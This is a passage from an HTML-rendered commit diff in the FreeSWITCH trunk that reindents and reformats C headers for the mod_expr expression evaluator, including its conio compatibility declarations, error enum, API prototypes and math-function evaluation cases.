</span><span class="cx"> #define BLINK 0
</span><span class="cx">
</span><del>-typedef enum
-{
- BLACK,
- BLUE,
- GREEN,
- CYAN,
- RED,
- MAGENTA,
- BROWN,
- LIGHTGRAY,
- DARKGRAY,
- LIGHTBLUE,
- LIGHTGREEN,
- LIGHTCYAN,
- LIGHTRED,
- LIGHTMAGENTA,
- YELLOW,
- WHITE
-} COLORS;
</del><ins>+        typedef enum {
+                BLACK,
+                BLUE,
+                GREEN,
+                CYAN,
+                RED,
+                MAGENTA,
+                BROWN,
+                LIGHTGRAY,
+                DARKGRAY,
+                LIGHTBLUE,
+                LIGHTGREEN,
+                LIGHTCYAN,
+                LIGHTRED,
+                LIGHTMAGENTA,
+                YELLOW,
+                WHITE
+        } COLORS;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> #define cgets        _cgets
</span><span class="lines">@@ -49,17 +48,16 @@
</span><span class="cx">
</span><span class="cx"> /* blinkvideo */
</span><span class="cx">
</span><del>-void clreol (void);
-void clrscr (void);
</del><ins>+        void clreol(void);
+        void clrscr(void);
</ins><span class="cx">
</span><del>-int _conio_gettext (int left, int top, int right, int bottom,
- char *str);
</del><ins>+        int _conio_gettext(int left, int top, int right, int bottom, char *str);
</ins><span class="cx"> /* _conio_kbhit */
</span><span class="cx">
</span><del>-void delline (void);
</del><ins>+        void delline(void);
</ins><span class="cx">
</span><span class="cx"> /* gettextinfo */
</span><del>-void gotoxy(int x, int y);
</del><ins>+        void gotoxy(int x, int y);
</ins><span class="cx"> /*
</span><span class="cx"> highvideo
</span><span class="cx"> insline
</span><span class="lines">@@ -69,9 +67,9 @@
</span><span class="cx"> normvideo
</span><span class="cx"> */
</span><span class="cx">
</span><del>-void gotoxy(int x, int y);
</del><ins>+        void gotoxy(int x, int y);
</ins><span class="cx">
</span><del>-void puttext (int left, int top, int right, int bottom, char *str);
</del><ins>+        void puttext(int left, int top, int right, int bottom, char *str);
</ins><span class="cx">
</span><span class="cx"> // Screen Variables
</span><span class="cx">
</span><span class="lines">@@ -89,19 +87,19 @@
</span><span class="cx"> ScreenVisualBell
</span><span class="cx"> _set_screen_lines */
</span><span class="cx">
</span><del>-void _setcursortype (int type);
</del><ins>+        void _setcursortype(int type);
</ins><span class="cx">
</span><del>-void textattr (int _attr);
</del><ins>+        void textattr(int _attr);
</ins><span class="cx">
</span><del>-void textbackground (int color);
</del><ins>+        void textbackground(int color);
</ins><span class="cx">
</span><del>-void textcolor (int color);
</del><ins>+        void textcolor(int color);
</ins><span class="cx">
</span><span class="cx"> /* textmode */
</span><span class="cx">
</span><del>-int wherex (void);
</del><ins>+        int wherex(void);
</ins><span class="cx">
</span><del>-int wherey (void);
</del><ins>+        int wherey(void);
</ins><span class="cx">
</span><span class="cx"> /* window */
</span><span class="cx">
</span><span class="lines">@@ -135,27 +133,26 @@
</span><span class="cx"> *
</span><span class="cx"> */
</span><span class="cx">
</span><del>-char*        _cgets (char*);
-int        _cprintf (const char*, ...);
-int        _cputs (const char*);
-int        _cscanf (char*, ...);
</del><ins>+        char *_cgets(char *);
+        int _cprintf(const char *, ...);
+        int _cputs(const char *);
+        int _cscanf(char *, ...);
</ins><span class="cx">
</span><del>-int        _getch (void);
-int        _getche (void);
-int        _kbhit (void);
-int        _putch (int);
-int        _ungetch (int);
</del><ins>+        int _getch(void);
+        int _getche(void);
+        int _kbhit(void);
+        int _putch(int);
+        int _ungetch(int);
</ins><span class="cx">
</span><span class="cx">
</span><del>-int        getch (void);
-int        getche (void);
-int        kbhit (void);
-int        putch (int);
-int        ungetch (int);
</del><ins>+        int getch(void);
+        int getche(void);
+        int kbhit(void);
+        int putch(int);
+        int ungetch(int);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-#endif /* _CONIO_H_ */
</del><ins>+#endif                                                        /* _CONIO_H_ */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprevalh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/expreval.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/expreval.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/expreval.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -19,7 +19,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* Define type of data to use */
</span><del>-typedef double EXPRTYPE;
</del><ins>+        typedef double EXPRTYPE;
</ins><span class="cx">
</span><span class="cx"> /* Defines for various things */
</span><span class="cx">
</span><span class="lines">@@ -27,101 +27,96 @@
</span><span class="cx"> #define EXPR_MAXIDENTSIZE 255
</span><span class="cx">
</span><span class="cx"> /* Error values */
</span><del>-enum
- {
- EXPR_ERROR_UNKNOWN = -1, /* Unknown error */
- EXPR_ERROR_NOERROR = 0, /* No Error */
- EXPR_ERROR_MEMORY, /* Memory allocation failed */
- EXPR_ERROR_NULLPOINTER, /* Null pointer passed to function */
- EXPR_ERROR_NOTFOUND, /* Item not found in a list */
- EXPR_ERROR_UNMATCHEDCOMMENT, /* Unmatched comment tags */
- EXPR_ERROR_INVALIDCHAR, /* Invalid characters in expression */
- EXPR_ERROR_ALREADYEXISTS, /* An item already called create */
- EXPR_ERROR_ALREADYPARSEDBAD, /* Expression parsed already, but unsuccessfully. call free or clear */
- EXPR_ERROR_ALREADYPARSEDGOOD, /* Expression parsed already, successfully, call free or clear */
- EXPR_ERROR_EMPTYEXPR, /* Empty expression string passed to parse */
- EXPR_ERROR_UNMATCHEDPAREN, /* Unmatched parenthesis */
- EXPR_ERROR_SYNTAX, /* Syntax error in expression */
- EXPR_ERROR_MISSINGSEMICOLON, /* Missing semicolon at end of expression */
- EXPR_ERROR_BADIDENTIFIER, /* Identifier was to big or not formed right */
- EXPR_ERROR_NOSUCHFUNCTION, /* Function does not exist in function list */
- EXPR_ERROR_BADNUMBERARGUMENTS, /* Bad number of arguments in a function call */
- EXPR_ERROR_BADEXPR, /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
- EXPR_ERROR_UNABLETOASSIGN, /* Unable to do an assignment, maybe no variable list */
- EXPR_ERROR_DIVBYZERO, /* Attempted a division by zero */
- EXPR_ERROR_NOVARLIST, /* No variable list found but one is needed */
- EXPR_ERROR_BREAK, /* Expression was broken by break function */
- EXPR_ERROR_CONSTANTASSIGN, /* Assignment to a constant */
- EXPR_ERROR_REFCONSTANT, /* Constant used as a reference parameter */
- EXPR_ERROR_OUTOFRANGE, /* A bad value was passed to a function */
</del><ins>+        enum {
+                EXPR_ERROR_UNKNOWN = -1,        /* Unknown error */
+                EXPR_ERROR_NOERROR = 0,        /* No Error */
+                EXPR_ERROR_MEMORY,                /* Memory allocation failed */
+                EXPR_ERROR_NULLPOINTER,        /* Null pointer passed to function */
+                EXPR_ERROR_NOTFOUND,        /* Item not found in a list */
+                EXPR_ERROR_UNMATCHEDCOMMENT,        /* Unmatched comment tags */
+                EXPR_ERROR_INVALIDCHAR,        /* Invalid characters in expression */
+                EXPR_ERROR_ALREADYEXISTS,        /* An item already called create */
+                EXPR_ERROR_ALREADYPARSEDBAD,        /* Expression parsed already, but unsuccessfully. call free or clear */
+                EXPR_ERROR_ALREADYPARSEDGOOD,        /* Expression parsed already, successfully, call free or clear */
+                EXPR_ERROR_EMPTYEXPR,        /* Empty expression string passed to parse */
+                EXPR_ERROR_UNMATCHEDPAREN,        /* Unmatched parenthesis */
+                EXPR_ERROR_SYNTAX,                /* Syntax error in expression */
+                EXPR_ERROR_MISSINGSEMICOLON,        /* Missing semicolon at end of expression */
+                EXPR_ERROR_BADIDENTIFIER,        /* Identifier was to big or not formed right */
+                EXPR_ERROR_NOSUCHFUNCTION,        /* Function does not exist in function list */
+                EXPR_ERROR_BADNUMBERARGUMENTS,        /* Bad number of arguments in a function call */
+                EXPR_ERROR_BADEXPR,                /* This is a bad expression to evaluate. It has not been parsed or has unsuccessfully */
+                EXPR_ERROR_UNABLETOASSIGN,        /* Unable to do an assignment, maybe no variable list */
+                EXPR_ERROR_DIVBYZERO,        /* Attempted a division by zero */
+                EXPR_ERROR_NOVARLIST,        /* No variable list found but one is needed */
+                EXPR_ERROR_BREAK,                /* Expression was broken by break function */
+                EXPR_ERROR_CONSTANTASSIGN,        /* Assignment to a constant */
+                EXPR_ERROR_REFCONSTANT,        /* Constant used as a reference parameter */
+                EXPR_ERROR_OUTOFRANGE,        /* A bad value was passed to a function */
</ins><span class="cx">
</span><del>- EXPR_ERROR_USER /* Custom errors should be larger than this */
- };
</del><ins>+                EXPR_ERROR_USER                        /* Custom errors should be larger than this */
+        };
</ins><span class="cx">
</span><span class="cx"> /* Macros */
</span><span class="cx">
</span><span class="cx"> /* Forward declarations */
</span><del>-typedef struct _exprNode exprNode;
-typedef struct _exprFuncList exprFuncList;
-typedef struct _exprValList exprValList;
-typedef struct _exprObj exprObj;
</del><ins>+        typedef struct _exprNode exprNode;
+        typedef struct _exprFuncList exprFuncList;
+        typedef struct _exprValList exprValList;
+        typedef struct _exprObj exprObj;
</ins><span class="cx">
</span><span class="cx"> /* Function types */
</span><del>-typedef int (*exprFuncType)(exprObj *obj, exprNode *nodes, int nodecount, EXPRTYPE **refs, int refcount, EXPRTYPE *val);
-typedef int (*exprBreakFuncType)(exprObj *obj);
</del><ins>+        typedef int (*exprFuncType) (exprObj * obj, exprNode * nodes, int nodecount, EXPRTYPE ** refs, int refcount, EXPRTYPE * val);
+        typedef int (*exprBreakFuncType) (exprObj * obj);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* Functions */
</span><span class="cx">
</span><span class="cx"> /* Version information function */
</span><del>-void exprGetVersion(int *major, int *minor);
</del><ins>+        void exprGetVersion(int *major, int *minor);
</ins><span class="cx">
</span><span class="cx"> /* Functions for function lists */
</span><del>-int exprFuncListCreate(exprFuncList **flist);
-int exprFuncListAdd(exprFuncList *flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
-int exprFuncListFree(exprFuncList *flist);
-int exprFuncListClear(exprFuncList *flist);
-int exprFuncListInit(exprFuncList *flist);
</del><ins>+        int exprFuncListCreate(exprFuncList ** flist);
+        int exprFuncListAdd(exprFuncList * flist, char *name, exprFuncType ptr, int min, int max, int refmin, int refmax);
+        int exprFuncListFree(exprFuncList * flist);
+        int exprFuncListClear(exprFuncList * flist);
+        int exprFuncListInit(exprFuncList * flist);
</ins><span class="cx">
</span><span class="cx"> /* Functions for value lists */
</span><del>-int exprValListCreate(exprValList **vlist);
-int exprValListAdd(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListSet(exprValList *vlist, char *name, EXPRTYPE val);
-int exprValListGet(exprValList *vlist, char *name, EXPRTYPE *val);
-int exprValListAddAddress(exprValList *vlist, char *name, EXPRTYPE *addr);
-int exprValListGetAddress(exprValList *vlist, char *name, EXPRTYPE **addr);
-void *exprValListGetNext(exprValList *vlist, char **name, EXPRTYPE *value, EXPRTYPE** addr, void *cookie);
-int exprValListFree(exprValList *vlist);
-int exprValListClear(exprValList *vlist);
-int exprValListInit(exprValList *vlist);
</del><ins>+        int exprValListCreate(exprValList ** vlist);
+        int exprValListAdd(exprValList * vlist, char *name, EXPRTYPE val);
+        int exprValListSet(exprValList * vlist, char *name, EXPRTYPE val);
+        int exprValListGet(exprValList * vlist, char *name, EXPRTYPE * val);
+        int exprValListAddAddress(exprValList * vlist, char *name, EXPRTYPE * addr);
+        int exprValListGetAddress(exprValList * vlist, char *name, EXPRTYPE ** addr);
+        void *exprValListGetNext(exprValList * vlist, char **name, EXPRTYPE * value, EXPRTYPE ** addr, void *cookie);
+        int exprValListFree(exprValList * vlist);
+        int exprValListClear(exprValList * vlist);
+        int exprValListInit(exprValList * vlist);
</ins><span class="cx">
</span><span class="cx"> /* Functions for expression objects */
</span><del>-int exprCreate(exprObj **obj, exprFuncList *flist, exprValList *vlist, exprValList *clist,
- exprBreakFuncType breaker, void *userdata);
-int exprFree(exprObj *obj);
-int exprClear(exprObj *obj);
-int exprParse(exprObj *obj, char *expr);
-int exprEval(exprObj *obj, EXPRTYPE *val);
-int exprEvalNode(exprObj *obj, exprNode *nodes, int curnode, EXPRTYPE *val);
-exprFuncList *exprGetFuncList(exprObj *obj);
-exprValList *exprGetVarList(exprObj *obj);
-exprValList *exprGetConstList(exprObj *obj);
-exprBreakFuncType exprGetBreakFunc(exprObj *obj);
-int exprGetBreakResult(exprObj *obj);
-void* exprGetUserData(exprObj *obj);
-void exprSetUserData(exprObj *obj, void *userdata);
-void exprSetBreakCount(exprObj *obj, int count);
-void exprGetErrorPosition(exprObj *obj, int *start, int *end);
</del><ins>+        int exprCreate(exprObj ** obj, exprFuncList * flist, exprValList * vlist, exprValList * clist, exprBreakFuncType breaker, void *userdata);
+        int exprFree(exprObj * obj);
+        int exprClear(exprObj * obj);
+        int exprParse(exprObj * obj, char *expr);
+        int exprEval(exprObj * obj, EXPRTYPE * val);
+        int exprEvalNode(exprObj * obj, exprNode * nodes, int curnode, EXPRTYPE * val);
+        exprFuncList *exprGetFuncList(exprObj * obj);
+        exprValList *exprGetVarList(exprObj * obj);
+        exprValList *exprGetConstList(exprObj * obj);
+        exprBreakFuncType exprGetBreakFunc(exprObj * obj);
+        int exprGetBreakResult(exprObj * obj);
+        void *exprGetUserData(exprObj * obj);
+        void exprSetUserData(exprObj * obj, void *userdata);
+        void exprSetBreakCount(exprObj * obj, int count);
+        void exprGetErrorPosition(exprObj * obj, int *start, int *end);
</ins><span class="cx">
</span><span class="cx"> /* Other useful routines */
</span><del>-int exprValidIdent(char *name);
</del><ins>+        int exprValidIdent(char *name);
</ins><span class="cx">
</span><span class="cx"> /* Name mangling */
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-
-
-#endif /* __BAVII_EXPREVAL_H */
</del><ins>+#endif                                                        /* __BAVII_EXPREVAL_H */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprilfsh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprilfs.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -38,1027 +38,910 @@
</span><span class="cx">
</span><span class="cx"> /* abs */
</span><span class="cx"> case EXPR_NODEFUNC_ABS:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- if(d1 >= 0)
- *val = d1;
- else
- *val = -d1;
- }
- else
- return err;
</del><ins>+        if (!err) {
+                if (d1 >= 0)
+                        *val = d1;
+                else
+                        *val = -d1;
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* mod */
</span><span class="cx"> case EXPR_NODEFUNC_MOD:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = fmod(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = fmod(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* ipart */
</span><span class="cx"> case EXPR_NODEFUNC_IPART:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- modf(d1, val);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                modf(d1, val);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* fpart */
</span><span class="cx"> case EXPR_NODEFUNC_FPART:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = modf(d1, &d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = modf(d1, &d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* min */
</span><span class="cx"> case EXPR_NODEFUNC_MIN:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- for(pos = 1; pos < nodes->data.function.nodecount; pos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
- if(!err)
- {
- if(d2 < d1)
- d1 = d2;
- }
- else
- return err;
- }
- }
- else
- return err;
</del><ins>+        if (!err) {
+                for (pos = 1; pos < nodes->data.function.nodecount; pos++) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, pos, &d2);
+                        if (!err) {
+                                if (d2 < d1)
+                                        d1 = d2;
+                        } else
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><del>- *val = d1;
</del><ins>+        *val = d1;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* max */
</span><span class="cx"> case EXPR_NODEFUNC_MAX:
</span><del>- {
- int tmppos;
</del><ins>+{
+        int tmppos;
</ins><span class="cx">
</span><del>- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- for(tmppos = 1; tmppos < nodes->data.function.nodecount; tmppos++)
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, &d2);
- if(!err)
- {
- if(d2 > d1)
- d1 = d2;
- }
- else
- return err;
- }
- }
- else
- return err;
</del><ins>+        if (!err) {
+                for (tmppos = 1; tmppos < nodes->data.function.nodecount; tmppos++) {
+                        err = exprEvalNode(obj, nodes->data.function.nodes, tmppos, &d2);
+                        if (!err) {
+                                if (d2 > d1)
+                                        d1 = d2;
+                        } else
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx">
</span><del>- *val = d1;
</del><ins>+        *val = d1;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* pow */
</span><span class="cx"> case EXPR_NODEFUNC_POW:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = pow(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = pow(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* sqrt */
</span><span class="cx"> case EXPR_NODEFUNC_SQRT:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
-
- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sqrt(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sqrt(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* sin */
</span><span class="cx"> case EXPR_NODEFUNC_SIN:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sin(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sin(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* sinh */
</span><span class="cx"> case EXPR_NODEFUNC_SINH:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = sinh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sinh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* asin */
</span><span class="cx"> case EXPR_NODEFUNC_ASIN:
</span><del>- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = asin(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = asin(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* cos */
</span><del>-case EXPR_NODEFUNC_COS:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_COS:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = cos(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = cos(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* cosh */
</span><del>-case EXPR_NODEFUNC_COSH:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_COSH:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = cosh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = cosh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* acos */
</span><del>-case EXPR_NODEFUNC_ACOS:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_ACOS:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = acos(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = acos(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* tan */
</span><del>-case EXPR_NODEFUNC_TAN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_TAN:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = tan(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = tan(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* tanh */
</span><del>-case EXPR_NODEFUNC_TANH:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_TANH:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = tanh(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = tanh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* atan */
</span><del>-case EXPR_NODEFUNC_ATAN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_ATAN:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = atan(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = atan(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* atan2 */
</span><del>-case EXPR_NODEFUNC_ATAN2:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_ATAN2:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes->data.function.nodes, 1, &d2);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = atan2(d1, d2);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = atan2(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* log */
</span><del>-case EXPR_NODEFUNC_LOG:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_LOG:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = log10(d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = log10(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* pow10 */
</span><del>-case EXPR_NODEFUNC_POW10:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_POW10:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
</span><del>- if(!err)
- {
- EXPR_RESET_ERR();
- *val = pow(10.0, d1);
- EXPR_CHECK_ERR();
- }
- else
- return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = pow(10.0, d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx">
</span><del>- break;
- }
</del><ins>+        break;
+}
</ins><span class="cx">
</span><span class="cx"> /* ln */
</span><del>-case EXPR_NODEFUNC_LN:
- {
- err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</del><ins>+case EXPR_NODEFUNC_LN:
+{
+        err = exprEvalNode(obj, nodes->data.function.nodes, 0, &d1);
</ins><span class="cx">
